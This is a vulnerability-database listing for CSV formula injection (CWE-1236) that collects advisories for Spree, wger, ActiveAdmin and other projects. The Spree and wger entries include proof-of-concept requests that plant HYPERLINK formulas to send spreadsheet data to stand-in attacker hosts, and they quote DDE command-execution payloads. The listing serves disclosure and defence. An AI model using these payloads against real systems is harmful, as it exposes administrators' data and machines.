Common Weakness Enumeration

CWE-1236

Allowed

Improper Neutralization of Formula Elements in a CSV File

Abstraction: Base · Status: Incomplete

The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.

401 vulnerabilities reference this CWE, most recent first.

GHSA-XF4V-W5X5-PV79

Vulnerability from github – Published: 2026-06-04 18:46 – Updated: 2026-06-04 18:46
VLAI
Summary
Spree: CSV Formula Injection in Customer Export
Details

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).


Details

Affected presenters and fields

Presenter Path User-controlled fields
CustomerPresenter spree/core/app/presenters/spree/csv/customer_presenter.rb:36 first_name, last_name, address1, address2, city, phone

Vulnerable code — customer_presenter.rb (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
  csv = [
    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)
    customer.last_name,           # ← user-controlled
    customer.email,              
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,    # ← user-controlled
    customer.address&.address1,   # ← user-controlled
    customer.address&.address2,   # ← user-controlled
    customer.address&.city,       # ← user-controlled
    customer.address&.state_text,
    customer.address&.state_abbr,
    customer.address&.country&.name,
    customer.address&.country&.iso,
    customer.address&.zipcode,
    customer.phone,               # ← user-controlled
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \
  -H "Content-Type: application/json" \
  -H "X-Spree-Api-Key: pk_<publishable_api_key>" \
  -d '{
    "email": "attacker@evil.com",
    "password": "password123",
    "password_confirmation": "password123",
    "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
    "last_name": "Smith"
  }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \
  -H "Authorization: Bearer <admin_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
  -H "Authorization: Bearer <admin_jwt>"

# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
  -H "Authorization: Bearer <admin_jwt>" \
  -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)

  • Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
  • Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
  • With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

  • Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

Step Actor Action Privilege required
1 Attacker Registers as customer Public registration
2 Attacker Sets first_name to formula payload None beyond registration
3 Admin Runs a routine weekly/monthly export Normal operational task
4 Admin Opens CSV in Excel None
5 Attacker Receives exfiltrated spreadsheet data Passive

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

  • All exported customer emails, names, addresses, phone numbers
  • Order totals and purchase history
  • Any other columns in the same export file
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:46:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted\nExport in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the\ncontext of the administrator\u0027s desktop, potentially exfiltrating data or executing OS commands\nvia DDE (Dynamic Data Exchange).\n\n---\n\n### Details\n\n#### Affected presenters and fields\n\n| Presenter | Path | User-controlled fields |\n|---|---|---|\n| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |\n\n#### Vulnerable code \u2014 `customer_presenter.rb` (representative example)\n\n```ruby\n# spree/core/app/presenters/spree/csv/customer_presenter.rb:36\u201353\ndef call\n  csv = [\n    customer.first_name,          # \u2190 written verbatim; may contain =HYPERLINK(...)\n    customer.last_name,           # \u2190 user-controlled\n    customer.email,              \n    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),\n    customer.address\u0026.company,    # \u2190 user-controlled\n    customer.address\u0026.address1,   # \u2190 user-controlled\n    customer.address\u0026.address2,   # \u2190 user-controlled\n    customer.address\u0026.city,       # \u2190 user-controlled\n    customer.address\u0026.state_text,\n    customer.address\u0026.state_abbr,\n    customer.address\u0026.country\u0026.name,\n    customer.address\u0026.country\u0026.iso,\n    customer.address\u0026.zipcode,\n    customer.phone,               # \u2190 user-controlled\n    customer.amount_spent_in(Spree::Store.current.default_currency),\n    customer.completed_orders.count,\n  ]\n  csv += metafields_for_csv(customer)\n  csv\nend\n```\n\n---\n\n### PoC\n\n**Precondition**: A Spree store with public customer registration enabled (default\nconfiguration). No special permissions required for the attacker.\n\n#### Step 1 \u2014 Register as a customer with an injected first name\n\n```bash\ncurl -X POST https://store.example.com/api/v3/store/customers \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Spree-Api-Key: pk_\u003cpublishable_api_key\u003e\" \\\n  -d \u0027{\n    \"email\": \"attacker@evil.com\",\n    \"password\": \"password123\",\n    \"password_confirmation\": \"password123\",\n    \"first_name\": \"=HYPERLINK(\\\"http://attacker.example.com/exfil?d=\\\"\u0026B1,\\\"Click\\\")\",\n    \"last_name\": \"Smith\"\n  }\u0027\n```\n\n#### Step 2 \u2014 Admin triggers a customer export\n\n```bash\ncurl -X POST https://store.example.com/api/v3/admin/exports \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"type\": \"Spree::Exports::Customers\", \"record_selection\": \"all\"}\u0027\n```\n\n#### Step 3 \u2014 Admin polls until ready, then downloads\n\n```bash\n# Poll for completion\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n\n# Download\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e/download \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -o customers.csv\n```\n\n#### Step 4 \u2014 Verify injection in the raw CSV (without opening in Excel)\n\nOpen `customers.csv` in a text editor. The first data row will contain:\n\n```\n\"=HYPERLINK(\"\"http://attacker.example.com/exfil?d=\"\"\u0026B1,\"\"Click\"\")\",\"Smith\",\"attacker@evil.com\",...\n```\n\n#### Step 5 \u2014 Admin opens `customers.csv` in Microsoft Excel (Windows)\n\n- Excel warns about external data connections; if the administrator clicks **Enable**, the\n  `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=\u003cB1_value\u003e`.\n- Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain\n  email, address, and order total data for all exported customers.\n- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess\n  is launched on the administrator\u0027s machine.\n\n---\n\n### Impact\n\n**Vulnerability class**: CSV / Formula Injection (CWE-1236)\n\n#### Who is impacted\n\n- **Administrators** who download and open export files in spreadsheet software are the\n  direct victims. Administrative accounts have access to all store data, payment method\n  configurations, customer PII, and full order history.\n\n#### Realistic attack chain\n\n| Step | Actor | Action | Privilege required |\n|---|---|---|---|\n| 1 | Attacker | Registers as customer | Public registration |\n| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |\n| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |\n| 4 | Admin | Opens CSV in Excel | None |\n| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |\n\n#### Data at risk\n\nAll data visible to the administrator in the spreadsheet at the time of opening, including:\n\n- All exported customer emails, names, addresses, phone numbers\n- Order totals and purchase history\n- Any other columns in the same export file",
  "id": "GHSA-xf4v-w5x5-pv79",
  "modified": "2026-06-04T18:46:04Z",
  "published": "2026-06-04T18:46:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spree/spree"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.2.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.3.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Spree: CSV Formula Injection in Customer Export"
}

GHSA-XG97-V2XV-3FX7

Vulnerability from github – Published: 2023-07-30 12:30 – Updated: 2024-04-04 06:26
VLAI
Details

Tadiran Telecom Composit - CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-37219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-30T11:15:09Z",
    "severity": "HIGH"
  },
  "details": " Tadiran Telecom Composit - CWE-1236: Improper Neutralization of Formula Elements in a CSV File",
  "id": "GHSA-xg97-v2xv-3fx7",
  "modified": "2024-04-04T06:26:01Z",
  "published": "2023-07-30T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37219"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHR4-JRVP-2FPC

Vulnerability from github – Published: 2023-11-15 21:35 – Updated: 2026-04-28 21:33
VLAI
Details

Improper Neutralization of Formula Elements in a CSV File vulnerability in WPOmnia KB Support.This issue affects KB Support: from n/a through 1.5.84.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-25983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-07T16:15:28Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File vulnerability in WPOmnia KB Support.This issue affects KB Support: from n/a through 1.5.84.",
  "id": "GHSA-xhr4-jrvp-2fpc",
  "modified": "2026-04-28T21:33:01Z",
  "published": "2023-11-15T21:35:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25983"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/kb-support/wordpress-kb-support-wordpress-help-desk-plugin-1-5-84-csv-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHVV-3JWW-C487

Vulnerability from github – Published: 2023-12-28 18:45 – Updated: 2023-12-28 18:45
VLAI
Summary
ActiveAdmin CSV Injection leading to sensitive information disclosure
Details

Impact

In ActiveAdmin versions prior to 3.2.0, maliciously crafted spreadsheet formulas could be uploaded as part of admin data that, when exported to a CSV file and the imported to a spreadsheet program like libreoffice, could lead to remote code execution and private data exfiltration.

The attacker would need privileges to upload data to the same ActiveAdmin application as the victim, and would need the victim to possibly ignore security warnings from their spreadsheet program.

Patches

Versions 3.2.0 and above fixed the problem by escaping any data starting with = and other characters used by spreadsheet programs.

Workarounds

Only turn on formula evaluation in spreadsheet programs when importing CSV after explicitly reviewing the file.

References

https://owasp.org/www-community/attacks/CSV_Injection https://github.com/activeadmin/activeadmin/pull/8167

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activeadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-28T18:45:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn ActiveAdmin versions prior to 3.2.0, maliciously crafted spreadsheet formulas could be uploaded as part of admin data that, when exported to a CSV file and the imported to a spreadsheet program like libreoffice, could lead to remote code execution and private data exfiltration.\n\nThe attacker would need privileges to upload data to the same ActiveAdmin application as the victim, and would need the victim to possibly ignore security warnings from their spreadsheet program.\n\n### Patches\n\nVersions 3.2.0 and above fixed the problem by escaping any data starting with `=` and other characters used by spreadsheet programs.\n\n### Workarounds\n\nOnly turn on formula evaluation in spreadsheet programs when importing CSV after explicitly reviewing the file.  \n\n### References\n\nhttps://owasp.org/www-community/attacks/CSV_Injection\nhttps://github.com/activeadmin/activeadmin/pull/8167",
  "id": "GHSA-xhvv-3jww-c487",
  "modified": "2023-12-28T18:45:30Z",
  "published": "2023-12-28T18:45:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/security/advisories/GHSA-xhvv-3jww-c487"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/pull/8167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/commit/7af735cf657c73734fca1900cd6a5adac4ee706e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/activeadmin/activeadmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/releases/tag/v3.2.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activeadmin/CVE-2023-51763.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ActiveAdmin CSV Injection leading to sensitive information disclosure"
}

GHSA-XP88-CH9M-FP9X

Vulnerability from github – Published: 2023-01-01 09:30 – Updated: 2023-01-09 15:30
VLAI
Details

An issue was discovered in WeCube Platform 3.2.2. There are multiple CSV injection issues: the [Home / Admin / Resources] page, the [Home / Admin / System Params] page, and the [Home / Design / Basekey Configuration] page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-37786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-01T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in WeCube Platform 3.2.2. There are multiple CSV injection issues: the [Home / Admin / Resources] page, the [Home / Admin / System Params] page, and the [Home / Design / Basekey Configuration] page.",
  "id": "GHSA-xp88-ch9m-fp9x",
  "modified": "2023-01-09T15:30:23Z",
  "published": "2023-01-01T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeBankPartners/wecube-platform/issues/2327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeBankPartners/wecube-platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPJ9-XFFP-CQJ7

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00
VLAI
Details

Improper Neutralization of Formula Elements in a CSV File in GitHub repository kromitgmbh/titra prior to 0.77.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File in GitHub repository kromitgmbh/titra prior to 0.77.0.",
  "id": "GHSA-xpj9-xffp-cqj7",
  "modified": "2022-06-16T00:00:19Z",
  "published": "2022-06-10T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2027"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kromitgmbh/titra/commit/e606b674a2b7564407d89e38a341d72e22b14694"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/fb99c27c-7eaa-48db-be39-b804cb83871d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ9M-HMP9-FW87

Vulnerability from github – Published: 2026-05-06 19:48 – Updated: 2026-05-06 19:48
VLAI
Summary
wger: CSV/TSV formula injection in gym member export (first_name/last_name)
Details

Summary

The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

Details

File: wger/gym/views/export.py, approximately line 73

# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])

Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.

Affected endpoints: - GET /en/gym/export/users/<gym_pk> -> wger.gym.views.export (TSV download) - Profile fields injected via profile edit endpoint (first_name/last_name)

Suggested patch:

--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])

Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.

PoC

Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).

Step 1 - Inject formula payload into profile (any gym member, including self-registered):

POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29

URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")

Step 2 - Gym admin exports member list:

GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]

-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv

[... header row ...]
2   TestGym1    alice   alice@test.local    =HYPERLINK("http://attacker.example/x?p="&A1,"click")   ...

Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:

  • Formula cell renders as clickable "click" hyperlink.
  • On click (or on file-open with DDE-enabled Excel): browser issues GET http://attacker.example/x?p=[cell_A1_contents].
  • Attacker server receives exfiltrated spreadsheet data.

Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:

  • Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via HYPERLINK or WEBSERVICE functions.
  • Local code execution (legacy Excel with DDE enabled): payloads like =cmd|'/c calc.exe'!A1 execute arbitrary commands on the admin's workstation.
  • Phishing: formulas can display admin-trusted text while silently redirecting on click.

Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.

Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.

This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T19:48:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin\u0027s local spreadsheet context \u2014 enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.\n\n### Details\n\n**File**: `wger/gym/views/export.py`, approximately line 73\n\n```python\n# VULNERABLE - wger/gym/views/export.py\nwriter.writerow([\n    user.id,\n    gym.name,\n    user.username,\n    user.email,\n    user.first_name,   # written verbatim - no formula prefix sanitization\n    user.last_name,    # written verbatim\n    ...\n])\n```\n\nPython\u0027s `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\\t`, `\\r`). Any gym member can set their `first_name` to `=HYPERLINK(\"http://attacker.example/?p=\"\u0026A1,\"click\")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context \u2014 outside the wger server boundary.\n\n**Affected endpoints**:\n- `GET /en/gym/export/users/\u003cgym_pk\u003e` -\u003e `wger.gym.views.export` (TSV download)\n- Profile fields injected via profile edit endpoint (first_name/last_name)\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/export.py\n+++ b/wger/gym/views/export.py\n+FORMULA_PREFIXES = (\u0027=\u0027, \u0027+\u0027, \u0027-\u0027, \u0027@\u0027, \u0027\\t\u0027, \u0027\\r\u0027)\n+\n+def sanitise_cell(value):\n+    \"\"\"Prefix formula-triggering strings with a single-quote to neutralise.\"\"\"\n+    s = str(value) if value is not None else \u0027\u0027\n+    if s and s[0] in FORMULA_PREFIXES:\n+        return \"\u0027\" + s\n+    return s\n+\n writer.writerow([\n     user.id,\n     gym.name,\n     user.username,\n     user.email,\n-    user.first_name,\n-    user.last_name,\n+    sanitise_cell(user.first_name),\n+    sanitise_cell(user.last_name),\n     ...\n ])\n```\n\nPrepending `\u0027` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).\n\n**Step 1** - Inject formula payload into profile (any gym member, including self-registered):\n\n```\nPOST /en/user/\u003cuser_pk\u003e/overview HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\nCookie: sessionid=[member_session]\n\nfirst_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29\n```\n\nURL-decoded value: `=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")`\n\n**Step 2** - Gym admin exports member list:\n\n```\nGET /en/gym/export/users/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer_session]\n\n-\u003e 200 OK\nContent-Disposition: attachment; filename=User-data-gym-2-[date].csv\n\n[... header row ...]\n2\tTestGym1\talice\talice@test.local\t=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")\t...\n```\n\n**Step 3** - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:\n\n- Formula cell renders as clickable \"click\" hyperlink.\n- On click (or on file-open with DDE-enabled Excel): browser issues `GET http://attacker.example/x?p=[cell_A1_contents]`.\n- Attacker server receives exfiltrated spreadsheet data.\n\nConfirmed during testing: both `=cmd|calc.exe!A1` (DDE) and `=HYPERLINK(attacker.com)` payloads appear raw in the exported TSV response body.\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAny gym member (including self-registered users) can inject a spreadsheet formula into their own `first_name` or `last_name`. When a gym administrator with `manage_gym` permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin\u0027s local spreadsheet context:\n\n- **Data exfiltration**: other members\u0027 email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via `HYPERLINK` or `WEBSERVICE` functions.\n- **Local code execution** (legacy Excel with DDE enabled): payloads like `=cmd|\u0027/c calc.exe\u0027!A1` execute arbitrary commands on the admin\u0027s workstation.\n- **Phishing**: formulas can display admin-trusted text while silently redirecting on click.\n\n**Affected deployments**: every wger instance that delegates `manage_gym` to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.\n\n**Severity**: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin\u0027s local context), high confidentiality and integrity loss.\n\nThis is a standalone CWE-1236 vulnerability, independent of the `None != None` cluster of access-control findings. The fix is a small, local sanitization helper.",
  "id": "GHSA-xq9m-hmp9-fw87",
  "modified": "2026-05-06T19:48:16Z",
  "published": "2026-05-06T19:48:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: CSV/TSV formula injection in gym member export (first_name/last_name)"
}

GHSA-XQJM-27PC-RVWM

Vulnerability from github – Published: 2026-06-22 23:48 – Updated: 2026-06-22 23:48
VLAI
Summary
@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
Details

Summary

